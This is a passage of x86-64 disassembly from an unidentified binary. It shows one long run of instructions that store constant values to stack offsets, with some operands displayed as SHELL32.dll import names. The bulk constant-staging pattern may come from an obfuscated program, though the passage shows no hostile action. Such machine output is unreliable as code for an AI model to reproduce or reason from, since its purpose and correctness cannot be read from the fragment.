mov word [rsp + 0x195c], ax
movabs rax, 0x77d80d9d925090
mov qword [rsp + 0xfb68], rax
mov byte [rsp + 0x1d4], 0x13
mov dword [rsp + 0x7ebc], 0x61a4
mov byte [rsp + 0x1d5], 0x71
movabs rax, 0x7bafaef1dff9a5
mov qword [rsp + 0xfb70], rax
mov dword [rsp + 0x7ec0], 0x5a3c
mov byte [rsp + 0x1d6], 0x7a
movabs rax, 0x7b0ad63876111b
mov qword [rsp + 0xfb78], rax
movabs rax, 0x70ee3eee4d5db4
mov qword [rsp + 0xfb80], rax
mov dword [rsp + 0x7ec4], 0x850c
mov eax, 0x7d0
mov word [rsp + 0x1960], ax
mov byte [rsp + 0x1d7], 0x6d
movabs rax, 0x79528d627e0bd3
mov qword [rsp + 0xfb88], rax
mov dword [rsp + 0x7ec8], 0x4339
mov eax, 0xcc9
mov word [rsp + 0x1964], ax
mov dword [rsp + 0x7ecc], 0x726d
mov dword [rsp + 0x7ed0], 0x7f7f
movabs rax, 0x746281db8644a1
mov qword [rsp + 0xfb90], rax
mov eax, 0x6fc
mov word [rsp + 0x1968], ax
mov eax, 0xb03
mov word [rsp + 0x196c], ax
mov dword [rsp + 0x7ed4], 0xd00
movabs rax, 0x79d7a35f66ad67
mov qword [rsp + 0xfb98], rax
mov eax, 0x5f8
mov word [rsp + 0x1970], ax
mov eax, 0x68
mov word [rsp + 0x1974], ax
mov eax, 0x483
mov word [rsp + 0x1978], ax
mov dword [rsp + 0x7ed8], 0x6f73
mov eax, 0x146
mov word [rsp + 0x197c], ax
mov byte [rsp + 0x1d8], 0xc8
movabs rax, 0x72525146b0c080
mov qword [rsp + 0xfba0], rax
mov dword [rsp + 0x7edc], 0x743f
movabs rax, 0x7c282152f4993d
mov qword [rsp + 0xfba8], rax
mov dword [rsp + 0x7ee0], 0x9c17
mov dword [rsp + 0x7ee4], 0xe845
mov eax, 0x536
mov word [rsp + 0x1980], ax
mov dword [rsp + 0x7ee8], 0x9dc3
mov eax, 0x4a1
mov word [rsp + 0x1984], ax
movabs rax, 0x726150b94f3d99
mov qword [rsp + 0xfbb0], rax
movabs rax, 0x7ccd6253e8e540
mov qword [rsp + 0xfbb8], rax
movabs rax, 0x7e63067e4333aa
mov qword [rsp + 0xfbc0], rax
movabs rax, 0x7d400bd5772f28
mov qword [rsp + 0xfbc8], rax
mov dword [rsp + 0x7eec], 0x1638
mov dword [rsp + 0x7ef0], 0x54fe
movabs rax, 0x71c73d433bf745
mov qword [rsp + 0xfbd0], rax
mov dword [rsp + 0x7ef4], 0xb0db
mov byte [rsp + 0x1d9], 0x61
mov dword [rsp + 0x7ef8], 0xa6ae
mov eax, 0x3ad
mov word [rsp + 0x1988], ax
mov dword [rsp + 0x7efc], 0x3bec
mov byte [rsp + 0x1da], 0
movabs rax, 0x79341a8c25a4f1
mov qword [rsp + 0xfbd8], rax
mov byte [rsp + 0x1db], 0x5e
mov eax, 0x2ed
mov word [rsp + 0x198c], ax
mov byte [rsp + 0x1dc], 0xa0
movabs rax, 0x73799bc985bf3a
mov qword [rsp + 0xfbe0], rax
movabs rax, 0x7a120492d0167b
mov qword [rsp + 0xfbe8], rax
mov dword [rsp + 0x7f00], 0x2850
mov dword [rsp + 0x7f04], 0x2cd0
movabs rax, 0x764d75a1f5113d
mov qword [rsp + 0xfbf0], rax
mov dword [rsp + 0x7f08], 0x7261
mov byte [rsp + 0x1dd], 0x1c
mov eax, 0x771
mov word [rsp + 0x1990], ax
mov eax, 0xe48
mov word [rsp + 0x1994], ax
mov dword [rsp + 0x7f0c], 0xf710
mov eax, 0x55f
mov word [rsp + 0x1998], ax
mov dword [rsp + 0x7f10], 0x282d
mov byte [rsp + 0x1de], 0xf6
mov dword [rsp + 0x7f14], 0x575d
movabs rax, 0x716c24224f8559
mov qword [rsp + 0xfbf8], rax
mov byte [rsp + 0x1df], 0x1c
mov byte [rsp + 0x1e0], PathMakeUniqueName
mov dword [rsp + 0x7f18], 0x3f83
movabs rax, 0x7ef571dd1b5caa
mov qword [rsp + 0xfc00], rax
mov byte [rsp + 0x1e1], SHSetInstanceExplorer
mov eax, 0x75d
mov word [rsp + 0x199c], ax
mov byte [rsp + 0x1e2], SHUpdateImageW
mov dword [rsp + 0x7f1c], 0x70e0
mov byte [rsp + 0x1e3], 0x4d
mov eax, 0x309
mov word [rsp + 0x19a0], ax
movabs rax, 0x7180a6ea88e740
mov qword [rsp + 0xfc08], rax
mov byte [rsp + 0x1e4], PathMakeUniqueName
movabs rax, 0x72f0ff0e013bc1
mov qword [rsp + 0xfc10], rax
mov byte [rsp + 0x1e5], 0x80
movabs rax, 0x7817a6f3902710
mov qword [rsp + 0xfc18], rax
movabs rax, 0x7ad9ce89e4f2e8
mov qword [rsp + 0xfc20], rax
mov dword [rsp + 0x7f20], 0xe457
movabs rax, 0x732c4ad84c1163
mov qword [rsp + 0xfc28], rax
mov dword [rsp + 0x7f24], 0x3b66
mov dword [rsp + 0x7f28], 0x1d55
mov eax, 0xf0
mov word [rsp + 0x19a4], ax
movabs rax, 0x70e5de03229a54
mov qword [rsp + 0xfc30], rax
movabs rax, 0x7add073789d9a6
mov qword [rsp + 0xfc38], rax
movabs rax, 0x720ec8be7ff76f
mov qword [rsp + 0xfc40], rax
movabs rax, 0x70dfecb5d1bdde
mov qword [rsp + 0xfc48], rax
mov byte [rsp + 0x1e6], 0x25
mov dword [rsp + 0x7f2c], 0x1f7
movabs rax, 0x73725eec3e4e48
mov qword [rsp + 0xfc50], rax
mov eax, 0xe6a
mov word [rsp + 0x19a8], ax
mov dword [rsp + 0x7f30], 0x9bfd
mov byte [rsp + 0x1e7], 0x51
mov eax, 0x377
mov word [rsp + 0x19ac], ax
movabs rax, 0x7332fd8b732dab
mov qword [rsp + 0xfc58], rax
mov dword [rsp + 0x7f34], 0x206a
mov eax, 0xda4
mov word [rsp + 0x19b0], ax
mov byte [rsp + 0x1e8], 0x6e
movabs rax, 0x7af8c07e76a614
mov qword [rsp + 0xfc60], rax
movabs rax, 0x75e147c26f12b6
mov qword [rsp + 0xfc68], rax
movabs rax, 0x78fff4ad4dbe39
mov qword [rsp + 0xfc70], rax
mov eax, 0xc43
mov word [rsp + 0x19b4], ax
mov eax, 0x1fd
mov word [rsp + 0x19b8], ax
mov dword [rsp + 0x7f38], 0x8577
mov byte [rsp + 0x1e9], 0x8b
mov dword [rsp + 0x7f3c], 0xb9bc
mov byte [rsp + 0x1ea], 0x41
mov eax, 0x69a
mov word [rsp + 0x19bc], ax
mov dword [rsp + 0x7f40], 0x6543
movabs rax, 0x79f0541c6dc30d
mov qword [rsp + 0xfc78], rax
mov eax, 0xe6
mov word [rsp + 0x19c0], ax
mov dword [rsp + 0x7f44], 0x263d
mov byte [rsp + 0x1eb], ILSaveToStream
movabs rax, 0x7b38ca808cb185
mov qword [rsp + 0xfc80], rax
mov byte [rsp + 0x1ec], 0x35
mov eax, 0x19c
mov word [rsp + 0x19c4], ax
mov byte [rsp + 0x1ed], 0x5b
mov eax, 0xf3c
mov word [rsp + 0x19c8], ax
movabs rax, 0x727d4e032c2250
mov qword [rsp + 0xfc88], rax
mov dword [rsp + 0x7f48], 0x2a50
mov byte [rsp + 0x1ee], 0x7e
mov dword [rsp + 0x7f4c], 0x8fd4
mov dword [rsp + 0x7f50], 0x57bd
mov byte [rsp + 0x1ef], 0x41
mov byte [rsp + 0x1f0], 0x6b
mov dword [rsp + 0x7f54], 0x2b5c
movabs rax, 0x7436a5c6945d2c
mov qword [rsp + 0xfc90], rax
mov eax, 0x5e
mov word [rsp + 0x19cc], ax
movabs rax, 0x70da0c6d0f816e
mov qword [rsp + 0xfc98], rax
movabs rax, 0x787eaffb81af83
mov qword [rsp + 0xfca0], rax
mov dword [rsp + 0x7f58], 0x18b6
mov dword [rsp + 0x7f5c], 0x1f09
mov byte [rsp + 0x1f1], 0xfc
mov byte [rsp + 0x1f2], 0xcc
mov dword [rsp + 0x7f60], 0x7e95
mov dword [rsp + 0x7f64], 0x6d4
mov eax, 0xf98
mov word [rsp + 0x19d0], ax
mov dword [rsp + 0x7f68], 0x3aa6
mov dword [rsp + 0x7f6c], 0xa987
mov eax, 0x74e
mov word [rsp + 0x19d4], ax
mov byte [rsp + 0x1f3], 0x34
movabs rax, 0x797595e7c67805
mov qword [rsp + 0xfca8], rax
mov eax, 0x2cb
mov word [rsp + 0x19d8], ax
mov byte [rsp + 0x1f4], 0x79
mov byte [rsp + 0x1f5], 0x5a
mov dword [rsp + 0x7f70], 0x232c
movabs rax, 0x7e775fd6c90016
mov qword [rsp + 0xfcb0], rax
mov dword [rsp + 0x7f74], 0xecab
mov dword [rsp + 0x7f78], 0x9d79
mov dword [rsp + 0x7f7c], 0x76c1
mov byte [rsp + 0x1f6], 0x50
movabs rax, 0x72f4dd82e884de
mov qword [rsp + 0xfcb8], rax
mov byte [rsp + 0x1f7], 0xfe
mov eax, 0x7ef
mov word [rsp + 0x19dc], ax
movabs rax, 0x7488d8d29433b5
mov qword [rsp + 0xfcc0], rax
mov eax, 0x75d
mov word [rsp + 0x19e0], ax
mov dword [rsp + 0x7f80], 0x2874
movabs rax, 0x7ab77b0ad1ac6f
mov qword [rsp + 0xfcc8], rax
mov eax, 0x744
mov word [rsp + 0x19e4], ax
mov byte [rsp + 0x1f8], 0x39
movabs rax, 0x780bf40d573ffa
mov qword [rsp + 0xfcd0], rax
movabs rax, 0x715ec8b43cd271
mov qword [rsp + 0xfcd8], rax
movabs rax, 0x7e77ecb2f414da
mov qword [rsp + 0xfce0], rax
mov byte [rsp + 0x1f9], ILClone
mov byte [rsp + 0x1fa], ILGetNext
mov dword [rsp + 0x7f84], 0x5e0a
mov eax, 0x648
mov word [rsp + 0x19e8], ax
movabs rax, 0x754ba575ba0932
mov qword [rsp + 0xfce8], rax
mov dword [rsp + 0x7f88], 0x6266
mov byte [rsp + 0x1fb], 0x65
mov dword [rsp + 0x7f8c], 0x221
mov dword [rsp + 0x7f90], 0x341
mov eax, 0x431
mov word [rsp + 0x19ec], ax
mov dword [rsp + 0x7f94], 0x3072
movabs rax, 0x739fdab98bf58e
mov qword [rsp + 0xfcf0], rax
mov eax, 0x275
mov word [rsp + 0x19f0], ax
mov byte [rsp + 0x1fc], 0x6e
mov dword [rsp + 0x7f98], 0xbd4d
movabs rax, 0x770c941d7b961d
mov qword [rsp + 0xfcf8], rax
movabs rax, 0x70756768769a3f
mov qword [rsp + 0xfd00], rax
mov dword [rsp + 0x7f9c], 0x4499
mov dword [rsp + 0x7fa0], 0x30b5
mov eax, 0x928
mov word [rsp + 0x19f4], ax
mov byte [rsp + 0x1fd], SHGetNewLinkInfoW
mov dword [rsp + 0x7fa4], 0x13ee
mov dword [rsp + 0x7fa8], 0xeb9
mov dword [rsp + 0x7fac], 0xaf5a
mov eax, 0x2a
mov word [rsp + 0x19f8], ax
movabs rax, 0x71833a1c250270
mov qword [rsp + 0xfd08], rax
movabs rax, 0x73bb3f9676c186
mov qword [rsp + 0xfd10], rax
movabs rax, 0x7dd75b309807d6
mov qword [rsp + 0xfd18], rax
mov dword [rsp + 0x7fb0], 0x5cf
mov dword [rsp + 0x7fb4], 0x5d5e
mov dword [rsp + 0x7fb8], 0x7383
mov eax, 0x705
mov word [rsp + 0x19fc], ax
mov eax, 0xcda
mov word [rsp + 0x1a00], ax
mov dword [rsp + 0x7fbc], 0xb7fb
mov byte [rsp + 0x1fe], ILSaveToStream
mov eax, 0x15a
mov word [rsp + 0x1a04], ax
mov dword [rsp + 0x7fc0], 0x7500
movabs rax, 0x78c15131b3993e
mov qword [rsp + 0xfd20], rax
mov eax, 0x580
mov word [rsp + 0x1a08], ax
mov dword [rsp + 0x7fc4], 0xf03
mov byte [rsp + 0x1ff], 2
mov byte [rsp + 0x200], 0xa1
mov eax, 0x38e
mov word [rsp + 0x1a0c], ax
mov byte [rsp + 0x201], 0x37
movabs rax, 0x7cec03950df99e
mov qword [rsp + 0xfd28], rax
mov byte [rsp + 0x202], 0x36
mov dword [rsp + 0x7fc8], 0x451f
movabs rax, 0x72fc94968634fe
mov qword [rsp + 0xfd30], rax
mov dword [rsp + 0x7fcc], 0x3cb6
mov dword [rsp + 0x7fd0], 0x2574
mov byte [rsp + 0x203], 0x68
mov eax, 0x3b
mov word [rsp + 0x1a10], ax
movabs rax, 0x7e9debbcc6ceeb
mov qword [rsp + 0xfd38], rax
movabs rax, 0x7defc515022f80
mov qword [rsp + 0xfd40], rax
mov dword [rsp + 0x7fd4], 0x3cdc
movabs rax, 0x7148b1f39cde08
mov qword [rsp + 0xfd48], rax
movabs rax, 0x72ef82f724f79d
mov qword [rsp + 0xfd50], rax
movabs rax, 0x7bfaa5b1cb24cb
mov qword [rsp + 0xfd58], rax
movabs rax, 0x7497a4f5f3162a
mov qword [rsp + 0xfd60], rax
mov dword [rsp + 0x7fd8], 0x7dcf
mov byte [rsp + 0x204], 0xe1
mov dword [rsp + 0x7fdc], 0x63e2
mov dword [rsp + 0x7fe0], 0xc06d
movabs rax, 0x75b90b327b2624
mov qword [rsp + 0xfd68], rax
mov dword [rsp + 0x7fe4], 0x4d7e
mov dword [rsp + 0x7fe8], 0xbdb8
mov dword [rsp + 0x7fec], 0x4ead
mov dword [rsp + 0x7ff0], 0x3e6a
mov dword [rsp + 0x7ff4], 0x37cc
mov byte [rsp + 0x205], 5
mov eax, 0x790
mov word [rsp + 0x1a14], ax
mov dword [rsp + 0x7ff8], 0x7a06
mov dword [rsp + 0x7ffc], 0x5f02
mov eax, 0x3ff
mov word [rsp + 0x1a18], ax
mov byte [rsp + 0x206], reloc.SHELL32.dll_ILClone
mov eax, 0x17c
mov word [rsp + 0x1a1c], ax
mov dword [rsp + 0x8000], 0x28c4
mov eax, 0xf5b
mov word [rsp + 0x1a20], ax
movabs rax, 0x78141f2fa2d413
mov qword [rsp + 0xfd70], rax
movabs rax, 0x7e6984f271acce
mov qword [rsp + 0xfd78], rax
mov byte [rsp + 0x207], 0x1f
movabs rax, 0x7e98d02e068c6d
mov qword [rsp + 0xfd80], rax
mov dword [rsp + 0x8004], 0x658
movabs rax, 0x7d4c6686db0f05
mov qword [rsp + 0xfd88], rax
mov dword [rsp + 0x8008], 0xd813
mov byte [rsp + 0x208], 0x6e
movabs rax, 0x7c135322889a05
mov qword [rsp + 0xfd90], rax
movabs rax, 0x74a21527590db4
mov qword [rsp + 0xfd98], rax
mov byte [rsp + 0x209], 7
movabs rax, 0x7c2fc11d7d67ab
mov qword [rsp + 0xfda0], rax
mov byte [rsp + 0x20a], 0x1d
movabs rax, 0x74e803d7172a9f
mov qword [rsp + 0xfda8], rax
movabs rax, 0x79c1dc3e7a5b24
mov qword [rsp + 0xfdb0], rax
mov dword [rsp + 0x800c], 0xffda
mov dword [rsp + 0x8010], 0xf13
mov dword [rsp + 0x8014], 0xb68
mov eax, 0x449
mov word [rsp + 0x1a24], ax
movabs rax, 0x759f59e5a8de47
mov qword [rsp + 0xfdb8], rax
mov eax, 0x4e9
mov word [rsp + 0x1a28], ax
mov eax, 0x1ae
mov word [rsp + 0x1a2c], ax
mov byte [rsp + 0x20b], 8
mov dword [rsp + 0x8018], 0x9ae1
movabs rax, 0x74f2f7afcc8638
mov qword [rsp + 0xfdc0], rax
movabs rax, 0x74ef6a8a6689f7
mov qword [rsp + 0xfdc8], rax
mov dword [rsp + 0x801c], 0xc1e
movabs rax, 0x7e303704fdcfea
mov qword [rsp + 0xfdd0], rax
mov dword [rsp + 0x8020], 0x7cdd
mov byte [rsp + 0x20c], reloc.SHELL32.dll_PathMakeUniqueName
mov byte [rsp + 0x20d], 0x3b
movabs rax, 0x772eb4de612bf3
mov qword [rsp + 0xfdd8], rax
mov dword [rsp + 0x8024], 0x2b61
mov eax, 0xb88
mov word [rsp + 0x1a30], ax
mov dword [rsp + 0x8028], 0x4f25
mov dword [rsp + 0x802c], 0x3e21
movabs rax, 0x7373462282328d
mov qword [rsp + 0xfde0], rax
movabs rax, 0x71dc0fe23a50e8
mov qword [rsp + 0xfde8], rax
mov byte [rsp + 0x20e], 0x30
movabs rax, 0x7ddd157ee50f89
mov qword [rsp + 0xfdf0], rax
mov dword [rsp + 0x8030], 0x407d
mov eax, 0x1c6
mov word [rsp + 0x1a34], ax
movabs rax, 0x7e0bf4bbfdf2be
mov qword [rsp + 0xfdf8], rax
mov dword [rsp + 0x8034], 0x3639
movabs rax, 0x77ef38e2e08cca
mov qword [rsp + 0xfe00], rax
mov dword [rsp + 0x8038], 0x1ccd
movabs rax, 0x773565665dd20a
mov qword [rsp + 0xfe08], rax
movabs rax, 0x72fdcc6a94276f
mov qword [rsp + 0xfe10], rax
mov eax, 0x7d3
mov word [rsp + 0x1a38], ax
mov dword [rsp + 0x803c], 0x45c5
mov dword [rsp + 0x8040], 0xb21e
mov byte [rsp + 0x20f], 0x56
movabs rax, 0x72d909202fa8d8
mov qword [rsp + 0xfe18], rax
mov eax, 0x27
mov word [rsp + 0x1a3c], ax
movabs rax, 0x7200cf548e179a
mov qword [rsp + 0xfe20], rax
mov dword [rsp + 0x8044], 0x717b
mov dword [rsp + 0x8048], 0xd15e
mov eax, 0xbab
mov word [rsp + 0x1a40], ax
movabs rax, 0x763e8b696b9976
mov qword [rsp + 0xfe28], rax
movabs rax, 0x707559a7158017
mov qword [rsp + 0xfe30], rax
mov dword [rsp + 0x804c], 0x1ae0
mov byte [rsp + 0x210], 0x20
mov eax, 0xb80
mov word [rsp + 0x1a44], ax
mov byte [rsp + 0x211], 0xe8
movabs rax, 0x7c3672e7687f0e
mov qword [rsp + 0xfe38], rax
movabs rax, 0x79103df6c7d9df
mov qword [rsp + 0xfe40], rax
movabs rax, 0x70cf6f5270f6f1
mov qword [rsp + 0xfe48], rax
mov byte [rsp + 0x212], 0xa7
mov eax, 0x6b1
mov word [rsp + 0x1a48], ax
mov dword [rsp + 0x8050], 0x59be
mov eax, 0xbca
mov word [rsp + 0x1a4c], ax
movabs rax, 0x7c664e586302fe
mov qword [rsp + 0xfe50], rax
movabs rax, 0x7cfe804ea45e69
mov qword [rsp + 0xfe58], rax
mov eax, 0x9f3
mov word [rsp + 0x1a50], ax
movabs rax, 0x7603240db3bb62
mov qword [rsp + 0xfe60], rax
movabs rax, 0x7911ac6be546ee
mov qword [rsp + 0xfe68], rax
mov eax, 0x2c7
mov word [rsp + 0x1a54], ax
mov eax, 0xa1
mov word [rsp + 0x1a58], ax
mov byte [rsp + 0x213], 0x4c
mov byte [rsp + 0x214], 0x39
mov byte [rsp + 0x215], 0x75
mov dword [rsp + 0x8054], 0x23c4
mov dword [rsp + 0x8058], 0x7af4
mov byte [rsp + 0x216], 0x89
mov dword [rsp + 0x805c], 0x5fab
movabs rax, 0x7535b45ec531f5
mov qword [rsp + 0xfe70], rax
mov dword [rsp + 0x8060], 0x6550
mov dword [rsp + 0x8064], 0x32a
mov eax, 0x3f6
mov word [rsp + 0x1a5c], ax
mov eax, 0x7a6
mov word [rsp + 0x1a60], ax
mov dword [rsp + 0x8068], 0x52ea
mov eax, 0x45a
mov word [rsp + 0x1a64], ax
movabs rax, 0x7ba6e3c522e020
mov qword [rsp + 0xfe78], rax
mov byte [rsp + 0x217], 0x4f
movabs rax, 0x786255a095b6b6
mov qword [rsp + 0xfe80], rax
mov byte [rsp + 0x218], 0x58
mov dword [rsp + 0x806c], 0xfbeb
mov dword [rsp + 0x8070], 0x63c5
mov byte [rsp + 0x219], 0x56
mov byte [rsp + 0x21a], 0x7a
movabs rax, 0x7145c34c40993b
mov qword [rsp + 0xfe88], rax
movabs rax, 0x790e998be60825
mov qword [rsp + 0xfe90], rax
mov dword [rsp + 0x8074], 0xcfd8
movabs rax, 0x76687812879c6b
mov qword [rsp + 0xfe98], rax
mov eax, 0xe5a
mov word [rsp + 0x1a68], ax
mov eax, 0xd86
mov word [rsp + 0x1a6c], ax
mov byte [rsp + 0x21b], 0x73
mov dword [rsp + 0x8078], 0x1c3e
mov byte [rsp + 0x21c], 0x77
movabs rax, 0x75ed0e5a850124
mov qword [rsp + 0xfea0], rax
movabs rax, 0x73503dda948cd6
mov qword [rsp + 0xfea8], rax
movabs rax, 0x721e426e95b916
mov qword [rsp + 0xfeb0], rax
mov byte [rsp + 0x21d], 0x6d
movabs rax, 0x7710e7b212ed63
mov qword [rsp + 0xfeb8], rax
mov byte [rsp + 0x21e], 0x21
mov dword [rsp + 0x807c], 0x1276
movabs rax, 0x773e6096374c35
mov qword [rsp + 0xfec0], rax
mov dword [rsp + 0x8080], 0x18a5
movabs rax, 0x72857d5106f447
mov qword [rsp + 0xfec8], rax
mov eax, 0x44d
mov word [rsp + 0x1a70], ax
mov dword [rsp + 0x8084], 0x5ca2
movabs rax, 0x7854469cd32f3f
mov qword [rsp + 0xfed0], rax
movabs rax, 0x7038c463af09f1
mov qword [rsp + 0xfed8], rax
mov byte [rsp + 0x21f], 0x50
mov dword [rsp + 0x8088], 0x78c6
mov byte [rsp + 0x220], SHUpdateImageW
mov dword [rsp + 0x808c], 0x10f8
mov eax, 0x773
mov word [rsp + 0x1a74], ax
mov dword [rsp + 0x8090], 0x502d
mov dword [rsp + 0x8094], 0x3eb9
mov byte [rsp + 0x221], SHTestTokenMembership
mov dword [rsp + 0x8098], 0x3725
mov dword [rsp + 0x809c], 0x6352
movabs rax, 0x7a866fafd66ff3
mov qword [rsp + 0xfee0], rax
movabs rax, 0x7036a81377efae
mov qword [rsp + 0xfee8], rax
movabs rax, 0x74e518a8167cdc
mov qword [rsp + 0xfef0], rax
mov dword [rsp + 0x80a0], 0x7cfc
mov eax, 0xd9
mov word [rsp + 0x1a78], ax
mov eax, 0xfb9
mov word [rsp + 0x1a7c], ax
mov dword [rsp + 0x80a4], 0x6b9a
movabs rax, 0x77d7ea50066d83
mov qword [rsp + 0xfef8], rax
mov eax, 0x79c
mov word [rsp + 0x1a80], ax
mov eax, 0x729
mov word [rsp + 0x1a84], ax
mov dword [rsp + 0x80a8], 0x1fd8
movabs rax, 0x74bb8c3a61b5f7
mov qword [rsp + 0xff00], rax
mov dword [rsp + 0x80ac], 0x2b5f
mov eax, 0xc52
mov word [rsp + 0x1a88], ax
mov eax, 0x9f9
mov word [rsp + 0x1a8c], ax
movabs rax, 0x78335303ec8208
mov qword [rsp + 0xff08], rax
movabs rax, 0x7233d53d9d65e8
mov qword [rsp + 0xff10], rax
movabs rax, 0x72334542234934
mov qword [rsp + 0xff18], rax
mov byte [rsp + 0x222], 0x3a
movabs rax, 0x773b8b63a9cdc4
mov qword [rsp + 0xff20], rax
movabs rax, 0x77b30a34d79ffc
mov qword [rsp + 0xff28], rax
mov dword [rsp + 0x80b0], 0x3aca
movabs rax, 0x74b9bbc6b3fc94
mov qword [rsp + 0xff30], rax
mov eax, 0x5cf
mov word [rsp + 0x1a90], ax
mov dword [rsp + 0x80b4], 0x6e41
mov dword [rsp + 0x80b8], 0x526b
mov eax, 0x297
mov word [rsp + 0x1a94], ax
movabs rax, 0x792f4762977f25
mov qword [rsp + 0xff38], rax
mov byte [rsp + 0x223], 0x6c
movabs rax, 0x777dcbe108e3ef
mov qword [rsp + 0xff40], rax
mov dword [rsp + 0x80bc], 0x59e1
mov dword [rsp + 0x80c0], 0x7e33
mov dword [rsp + 0x80c4], 0xa6de
mov dword [rsp + 0x80c8], 0x7254
movabs rax, 0x7d197938f46503
mov qword [rsp + 0xff48], rax
mov eax, 0x5c5
mov word [rsp + 0x1a98], ax
mov byte [rsp + 0x224], PathYetAnotherMakeUniqueName
mov eax, 0x10a
mov word [rsp + 0x1a9c], ax
mov byte [rsp + 0x225], ILClone
movabs rax, 0x7106f18bb4f8b5
mov qword [rsp + 0xff50], rax
mov dword [rsp + 0x80cc], 0x7517
mov dword [rsp + 0x80d0], 0xb028
mov eax, 0x5dd
mov word [rsp + 0x1aa0], ax
mov eax, 0xb53
mov word [rsp + 0x1aa4], ax
mov eax, 0x1ab
mov word [rsp + 0x1aa8], ax
mov dword [rsp + 0x80d4], 0x2234
movabs rax, 0x7b597f89f828b4
mov qword [rsp + 0xff58], rax
movabs rax, 0x78ea0c9041274e
mov qword [rsp + 0xff60], rax
mov byte [rsp + 0x226], SHUpdateImageW
mov byte [rsp + 0x227], 0xd2
mov dword [rsp + 0x80d8], 0x66f2
mov byte [rsp + 0x228], 1
movabs rax, 0x70f12be008ad97
mov qword [rsp + 0xff68], rax
mov byte [rsp + 0x229], 0xa0
mov dword [rsp + 0x80dc], 0x2944
movabs rax, 0x7a1da90886a241
mov qword [rsp + 0xff70], rax
mov eax, 0x2e2
mov word [rsp + 0x1aac], ax
mov dword [rsp + 0x80e0], 0x547e
mov eax, 0x46a
mov word [rsp + 0x1ab0], ax
mov dword [rsp + 0x80e4], 0xd2a2
mov dword [rsp + 0x80e8], 0xd15
movabs rax, 0x7b597c76b7032a
mov qword [rsp + 0xff78], rax
mov byte [rsp + 0x22a], PathYetAnotherMakeUniqueName
mov eax, 0x556
mov word [rsp + 0x1ab4], ax
movabs rax, 0x702c117197d505
mov qword [rsp + 0xff80], rax
mov dword [rsp + 0x80ec], 0x6cb4
movabs rax, 0x7821bcdb4eb7dc
mov qword [rsp + 0xff88], rax
mov eax, 0x27b
mov word [rsp + 0x1ab8], ax
mov dword [rsp + 0x80f0], 0x3a1d
mov byte [rsp + 0x22b], 0xa3
mov eax, 0xd34
mov word [rsp + 0x1abc], ax
mov dword [rsp + 0x80f4], 0x7dfc
mov dword [rsp + 0x80f8], 0x7dfd
mov eax, 0x443
mov word [rsp + 0x1ac0], ax
movabs rax, 0x7ccc5fb4437adc
mov qword [rsp + 0xff90], rax
mov byte [rsp + 0x22c], 0x5f
mov byte [rsp + 0x22d], PathMakeUniqueName
movabs rax, 0x711424c0a1f0d3
mov qword [rsp + 0xff98], rax
mov dword [rsp + 0x80fc], 0x229c
mov dword [rsp + 0x8100], 0xd1a7
mov eax, 0xba5
mov word [rsp + 0x1ac4], ax
movabs rax, 0x769f56011cd12b
mov qword [rsp + 0xffa0], rax
mov dword [rsp + 0x8104], 0x6c05
mov dword [rsp + 0x8108], 0x807b
mov dword [rsp + 0x810c], 0x4f18
mov dword [rsp + 0x8110], 0x6808
mov eax, 0xcfe
mov word [rsp + 0x1ac8], ax
movabs rax, 0x726feba0c3cf84
mov qword [rsp + 0xffa8], rax
mov dword [rsp + 0x8114], 0xc70d
mov byte [rsp + 0x22e], 3
mov eax, 0xf84
mov word [rsp + 0x1acc], ax
mov dword [rsp + 0x8118], 0x9866
mov byte [rsp + 0x22f], 0xa
mov dword [rsp + 0x811c], 0x7359
movabs rax, 0x70549e107cc083
mov qword [rsp + 0xffb0], rax
mov eax, 0x387
mov word [rsp + 0x1ad0], ax
mov byte [rsp + 0x230], 7
mov eax, 0x259
mov word [rsp + 0x1ad4], ax
mov eax, 0x937
mov word [rsp + 0x1ad8], ax
movabs rax, 0x74b04336071329
mov qword [rsp + 0xffb8], rax
mov byte [rsp + 0x231], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov dword [rsp + 0x8120], 0x7191
movabs rax, 0x7e7a1a22782f4c
mov qword [rsp + 0xffc0], rax
mov dword [rsp + 0x8124], 0x3b29
mov dword [rsp + 0x8128], 0x7a88
mov dword [rsp + 0x812c], 0xcd0d
movabs rax, 0x70a707834bc5f6
mov qword [rsp + 0xffc8], rax
mov eax, 0x14f
mov word [rsp + 0x1adc], ax
mov eax, 0x480
mov word [rsp + 0x1ae0], ax
mov dword [rsp + 0x8130], 0x3002
mov eax, 0xcd1
mov word [rsp + 0x1ae4], ax
mov eax, 0x96e
mov word [rsp + 0x1ae8], ax
movabs rax, 0x79657107fc039b
mov qword [rsp + 0xffd0], rax
mov eax, 0x5d0
mov word [rsp + 0x1aec], ax
movabs rax, 0x75583626b16c44
mov qword [rsp + 0xffd8], rax
mov eax, 0x759
mov word [rsp + 0x1af0], ax
mov dword [rsp + 0x8134], 0xd786
movabs rax, 0x7e841a4ce2cf63
mov qword [rsp + 0xffe0], rax
mov byte [rsp + 0x232], 0x3c
mov eax, 0x647
mov word [rsp + 0x1af4], ax
mov dword [rsp + 0x8138], 0x2bb6
mov byte [rsp + 0x233], 0x8e
mov dword [rsp + 0x813c], 0x1b75
mov byte [rsp + 0x234], 0x5f
mov dword [rsp + 0x8140], 0x44a7
mov byte [rsp + 0x235], 0x59
mov dword [rsp + 0x8144], 0x6b91
mov byte [rsp + 0x236], 0xd0
movabs rax, 0x735cae4a75a960
mov qword [rsp + 0xffe8], rax
movabs rax, 0x780f4bdd4de4bc
mov qword [rsp + 0xfff0], rax
mov dword [rsp + 0x8148], 0xafa3
mov dword [rsp + 0x814c], 0x435
movabs rax, 0x724f6c05c047df
mov qword [rsp + 0xfff8], rax
mov byte [rsp + 0x237], 0xcb
mov eax, 0x687
mov word [rsp + 0x1af8], ax
mov dword [rsp + 0x8150], 0x3e61
movabs rax, 0x72f247ea00cdfa
mov qword [rsp + 0x10000], rax
movabs rax, 0x703fc63a830a53
mov qword [rsp + 0x10008], rax
mov byte [rsp + 0x238], ILSaveToStream
mov eax, 0xa73
mov word [rsp + 0x1afc], ax
mov byte [rsp + 0x239], 3
movabs rax, 0x7cf1e66815f9a5
mov qword [rsp + 0x10010], rax
movabs rax, 0x727946ef797f4b
mov qword [rsp + 0x10018], rax
mov eax, 0x204
mov word [rsp + 0x1b00], ax
movabs rax, 0x726f50f636f2e7
mov qword [rsp + 0x10020], rax
mov byte [rsp + 0x23a], 0x64
mov byte [rsp + 0x23b], 0x83
movabs rax, 0x70d9180934109f
mov qword [rsp + 0x10028], rax
mov eax, 0x93
mov word [rsp + 0x1b04], ax
mov byte [rsp + 0x23c], SHUpdateImageW
movabs rax, 0x7abee35bb83af9
